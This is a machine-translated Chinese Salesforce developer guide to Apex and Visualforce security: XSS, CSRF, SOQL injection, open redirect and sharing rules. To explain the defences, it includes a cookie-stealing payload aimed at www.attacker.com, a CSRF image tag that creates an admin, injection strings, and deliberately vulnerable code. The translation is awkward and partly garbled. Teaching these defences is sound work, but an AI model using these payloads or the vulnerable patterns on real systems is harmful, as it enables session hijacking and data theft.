Apex 和 Visualforce 开发的安全提示

了解安全性

Apex 和 Visualforce 页面的强大组合使 Lightning Platform 开发人员向 Salesforce 或 创建一个在 Lightning 平台内运行的新独立产品。但和 任何编程语言,开发人员都必须认识到潜在的安全相关 陷阱。

Salesforce 在 Lightning Platform 中整合了多项安全防御措施。但 粗心的开发人员仍然可以绕过内置的防御措施,然后暴露他们的 应用程序和客户的安全风险。许多编码错误是 开发人员可以在Lightning平台上制作类似于一般Web的应用程序 安全漏洞,而其他漏洞则是 Apex 独有的。

要对 AppExchange 应用程序进行认证,必须 开发人员学习和理解所描述的安全漏洞。查看更多 信息,请参阅 Salesforce 上的 Lightning 平台安全资源页面 开发 人员。https://developer.salesforce.com/page/Security。

通过静态资源打开重定向

URL 重定向会自动将用户发送到其他网页。重定向通常用于 引导导航到一个网站,或将属于同一所有者的多个域名引荐给 引用单个网站。不幸的是,对于开发人员来说,攻击者可以利用 URL 重定向 如果实施不当。开放重定向(也称为“任意重定向”)是一种常见的重定向 Web 应用程序漏洞,其中由用户控制的值决定了应用程序的位置 重 定向。

警告

通过静态资源进行开放式重定向可能会使用户面临以下风险 无意的(可能是恶意的)重定向。

只有具有“自定义应用程序”权限的管理员才能上传静态资源 在组织内。具有此权限的管理员必须谨慎使用,以确保静态 资源不包含恶意内容。了解如何帮助防范静态资源 从第三方获得的,请参 阅使用 iframe 引用不受信任的第三方内容 。

  • 跨站点脚本 (XSS)
  • Visualforce 页面
    中未转义的输出和公式 使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出未经筛选,必须进行安全性验证。这在使用公式表达式时尤为重要。escape
  • 跨站点请求伪造 (CSRF)
  • SOQL注射液
  • 数据访问控制

跨站点脚本 (XSS)

跨站点脚本 (XSS) 攻击是指恶意 HTML 或客户端 脚本是提供给 Web 应用程序的。Web 应用程序包括 恶意脚本,以响应在不知不觉中成为受害者的用户 的攻击。攻击者使用 Web 应用程序作为 攻击,利用受害者对 Web 应用程序的信任。最 显示动态网页但未正确验证数据的应用程序 很可能是脆弱的。如果出现以下情况,则对网站的攻击特别容易 来自一个用户的输入旨在显示给另一个用户。一些明显的 可能性包括公告板或用户评论风格的网站、新闻或 电子邮件存档。例如,假设此脚本包含在 Lightning 平台页面中,使用 脚本组件、事件或 视觉力 页。

on*

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

此脚本块将用户提供的值插入到页面上。然后,攻击者可以 为 输入此值。

userparamuserparam

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

在这种情况下,当前页面的所有 cookie 都将作为请求中的查询字符串发送到 www.attacker.com 脚本。此时, 攻击者拥有受害者的会话 cookie,可以连接到 Web 应用程序 就好像他们是受害者一样。cookie.cgi

攻击者可以使用网站或电子邮件发布恶意脚本。蹼 应用程序用户不仅可以看到攻击者的输入,而且他们的浏览器还可以 在受信任的上下文中执行攻击者的脚本。有了这个能力, 攻击者可以对受害者执行各种攻击。这些范围 从简单的操作(例如打开和关闭窗口)到更恶意的操作 攻击,例如窃取数据或会话 Cookie,允许攻击者完全 访问受害者的会话。

有关此类攻击的详细信息:

  • http://www.owasp.org/index.php/Cross_Site_Scripting
  • http://www.cgisecurity.com/xss-faq.html
  • http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
  • http://www.google.com/search?q=cross-site+scripting

在闪电平台中,有几种反XSS防御措施。为 例如,Salesforce 具有过滤器,可以筛选出大多数中的有害字符 输出方法。对于使用标准类和输出方法的开发人员, XSS 缺陷的威胁已在很大程度上得到缓解。但创意开发者仍然可以 找到有意或无意绕过默认控件的方法。

现有保护

所有以 开头的标准 Visualforce 组件都具有反 XSS 过滤器 筛选出有害字符。例如,此代码通常容易受到攻击 到 XSS 攻击,因为它接受用户提供的输入并直接输出 返回给用户,但标记是 XSS 安全的。出现的所有字符 to be HTML 标记将转换为其文字形式。例如,< 字符转换为 文本<显示在用户的 屏幕。

<apex><apex:outputText>&lt;

<apex:outputText> 
    {!$CurrentPage.parameters.userInput} 
</apex:outputText>

在 Visualforce 标签上禁用 Escape

默认情况下,几乎所有 Visualforce 标记都会转义 XSS 易受攻击的字符。您可以通过设置可选的 属性。例如 此输出容易受到 XSS 的攻击 攻击。

escape=”false”

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

不受 XSS 保护的编程项

这些物品没有内置的 XSS 保护,因此在使用时要格外小心 这些标记和对象。这些项目旨在允许开发人员 通过插入脚本命令来自定义页面。这没有意义 在有意添加到页面的命令上包含反 XSS 筛选器。

Visualforce 页面中未转义的输出和公式

使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出为 未经过滤,必须进行安全性验证。这在使用配方奶粉时尤为重要 表达 式。

escape

公式表达式可以是函数调用,也可以包含有关平台对象的信息,或者 用户环境、系统环境和请求环境。这很重要 请注意,表达式生成的输出在呈现期间不会转义。因为 表达式在服务器上呈现,无法在 使用 JavaScript 或其他客户端技术的客户端。这可能导致 如果公式表达式引用非系统数据(即 潜在恶意或可编辑数据),并且表达式本身未包装在函数中 在渲染期间对输出进行转义。通过在页面上重新呈现用户输入来创建常见漏洞。例如

<apex:page standardController="Account">
  <apex:form>
    <apex:commandButton rerender="outputIt" value="Update It"/>
    <apex:inputText value="{!myTextField}"/>
  </apex:form>

  <apex:outputPanel id="outputIt"> 
    Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
  </apex:outputPanel>    
</apex:page>

未转义会导致跨站点 脚本漏洞。例如,如果用户输入 :

{!myTextField}

<script>alert('xss')

并单击“更新它”,将执行 JavaScript。在本例中,警报对话框 ,但可以设计更多恶意用途。可以使用多个函数来转义可能不安全的字符串。HTMLENCODE编码通过替换以下字符对文本和合并字段值进行编码,以便在 HTML 中使用 在 HTML 中保留,例如大于号 (>),以及 HTML 实体等效项,例如 如。&gt;JSEN代码通过插入转义符对文本和合并字段值进行编码,以便在 JavaScript 中使用 字符,例如反斜杠 (\),在不安全的 JavaScript 字符之前,例如 撇号 (’)。JSINHTMLENCODE通过以下方式对文本和合并字段值进行编码,以便在 HTML 标记内的 JavaScript 中使用 将 HTML 中保留的字符替换为 HTML 实体等效项,以及 在不安全的 JavaScript 字符之前插入转义字符。 是一个 便利功能,等效于 。也就是说,首先用 进行编码 , 然后用 对结果进行编码。JSINHTMLENCODE(someValue)JSENCODE(HTMLENCODE((someValue))JSINHTMLENCODEsomeValueHTMLENCODEJSENCODEURLENCODE通过替换以下字符对文本和合并字段值进行编码,以便在 URL 中使用 URL 中非法,例如空格,其代码将这些字符表示为 在 RFC 3986 统一资源标识符 (URI):通用语法中定义。为 例如,空格替换为 ,并且 感叹号将替换为 。%20%21要用于保护前面的示例,请执行以下操作: 将 更改为 以后:

HTMLENCODE<apex:outputText>

<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

如果 用户输入并单击“更新”,则不执行 JavaScript。相反,字符串是 编码后,页面将显示 。

<script>alert(‘xss’)Value of myTextField is <script>alert(‘xss’)根据标签的位置和数据的使用情况,两个字符都需要 逃跑和逃跑的同行可能会有所不同。例如,这个语句,其中 将 Visualforce 请求参数复制到 JavaScript 中 变量:

<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

需要 请求参数中的任何双引号字符都使用 URL 编码进行转义 等价于 而不是 HTML 转义 。否则, 请求:

%22

https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

结果 在:

<script>var ret = "foo";alert('xss');//";</script>

什么时候 页面加载,JavaScript 执行,并显示警报。在这种情况下,要防止执行 JavaScript,请使用该函数。为 例

JSENCODE

<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

公式标记还可用于包含平台对象数据。虽然数据被拿走了 直接从用户组织,在使用前仍必须进行转义,以防止用户 在其他用户(可能是具有更高权限的用户)的上下文中执行代码 水平)。虽然这些类型的攻击必须由同一组织内的用户执行, 它们会破坏组织的用户角色,并降低审核记录的完整性。 此外,许多组织包含从外部源导入的数据 并且可能尚未筛选恶意内容。

跨站点请求伪造 (CSRF)

跨站点请求伪造 (CSRF) 缺陷与其说是编程错误,不如说是 缺乏防御。例如,攻击者 www.attacker.com 有一个网页,该网页可以是任何网页,包括 一个提供有价值的服务或信息,为它带来流量的人 网站。攻击者页面上的某个位置有一个 HTML 标记,如下所示 这:

<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

换句话说,攻击者的页面包含一个 URL,该 URL 对 您的网站。如果用户在访问 攻击者的网页,检索 URL 并执行操作。这次攻击 成功,因为用户仍通过网页的身份验证。这是一个 举个简单的例子,攻击者可以通过使用脚本来获得更多的创意 生成回调请求,甚至对 AJAX 使用 CSRF 攻击 方法。

有关详细信息和传统防御:

  • http://www.owasp.org/index.php/Cross-Site_Request_Forgery
  • http://www.cgisecurity.com/csrf-faq.html
  • http://shiflett.org/articles/cross-site-request-forgeries

在闪电网络平台中,Salesforce 实施了一个反 CSRF 令牌,以 防止此类攻击。每个页面都包含一个随机字符串作为 隐藏的表单字段。加载下一页时,应用程序会检查有效性 并且不执行命令,除非值 与预期值匹配。此功能可在使用所有 标准控制器和方法。同样,开发人员可以在没有意识到 风险。例如,自定义控制器将对象 ID 作为输入参数 然后在 SOQL 调用中使用该输入参数。

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass { 
  public void init() { 
    Id id = ApexPages.currentPage().getParameters().get('id'); 
    Account obj = [select id, Name FROM Account WHERE id = :id]; 
    delete obj; 
    return ; 
  }
}

开发人员在不知不觉中通过开发自己的反 CSRF 控件绕过了 action 方法。读取参数 并在代码中使用。反 CSRF 令牌永远不会被读取或验证。一 攻击者网页可以通过使用 CSRF 攻击将用户发送到此页面,并且 为参数提供任何值。idid

对于这种情况,没有内置的防御措施,开发人员必须这样做 在编写基于用户提供的参数执行操作的页面时要谨慎 就像前面的变量一样 例。一种可能的解决方法是插入中间确认页 在执行操作以确保用户打算调用页面之前。 其他建议包括缩短空闲会话超时和教育 用户注销其活动会话,而不使用浏览器访问 其他站点,同时经过身份验证。id

由于 Salesforce 内置了针对 CSRF 的防御功能,您的用户可能会遇到 打开多个 Salesforce 登录页面时出错。如果用户登录到 Salesforce在一个选项卡中,然后尝试在另一个选项卡上登录,他们看到这个 错误:您提交的页面对会话无效。用户可以 通过刷新登录页面或尝试登录 第二次。

SOQL注射液

在其他编程语言中,前面的缺陷称为 SQL 注入。顶点 不使用 SQL,而是使用自己的数据库查询语言 SOQL。SOQL很多 比 SQL 更简单,功能更有限。风险要低得多 SOQL 注入比 SQL 注入相同,但攻击几乎与 传统的SQL注入。SQL/SOQL 注入接受用户提供的输入并使用 动态 SOQL 查询中的这些值。如果输入未经过验证,则可以 包括 SOQL 命令,这些命令可以有效地修改 SOQL 语句并欺骗 应用程序执行非预期的命令。

Apex 中的 SOQL 注入漏洞

下面是易受 SOQL 攻击的 Apex 和 Visualforce 代码的简单示例 注射。

<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}“ />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    } 
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}

这个简单的例子说明了逻辑。该代码旨在搜索 未删除的联系人。用户提供一个名为 的输入值。该值可以是 用户,并且从未经过验证。SOQL 查询是动态构建的,然后 使用该方法执行。 如果用户提供合法值,则该语句将作为 预期。

nameDatabase.query

// User supplied value: name = Bob 
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

但是,如果用户提供了意外的输入,例如 如:

// User supplied value for name: test%') OR (Name LIKE '

在 在这种情况下,查询字符串 成为:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

现在,结果显示所有联系人,而不仅仅是未删除的联系人。SOQL注射 缺陷可用于修改任何易受攻击的查询的预期逻辑。

SOQL 注入防御

若要防止 SOQL 注入攻击,请避免使用动态 SOQL 查询。相反 使用静态查询和绑定变量。上面的易受攻击的例子可能是 使用静态重写 索克尔。

public class SOQLController { 
    public String name { 
        get { return name;} 
        set { name = value;} 
    } 
    public PageReference query() { 
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
           (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null; 
    } 
}

如果必须使用动态 SOQL,请使用该方法清理用户提供的输入。这 方法将转义字符 (\) 添加到字符串中的所有单引号中 从用户传入。该方法确保所有单报价 标记被视为封闭字符串,而不是数据库命令。escapeSingleQuotes

数据访问控制

闪电平台广泛使用数据共享规则。每个对象都有 权限,并且可以具有用户可以读取、创建、编辑和 删除。使用所有标准控制器时,将强制执行这些设置。使用 Apex 类时,内置用户权限和字段级安全性 在执行过程中不遵守限制。默认行为是 Apex 类具有读取和更新所有数据的能力。因为这些规则是 不强制执行,使用 Apex 的开发人员必须避免无意中暴露 通常通过用户权限对用户隐藏的敏感数据, 字段级安全性或默认值,尤其是对于 Visualforce 页面。为 例如,考虑这个 Apex 伪代码。

public class customController { 
    public void read() { 
        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
    } 
}

在这种情况下,将搜索所有联系人记录,即使用户当前已登录 in 通常无权查看这些记录。解决方案是 在声明 类:

with sharing

public with sharing class customController { 
    . . . 
}

关键字将 平台,以使用当前登录用户的安全共享权限 ,而不是授予对所有记录的完全访问权限。with sharing

ref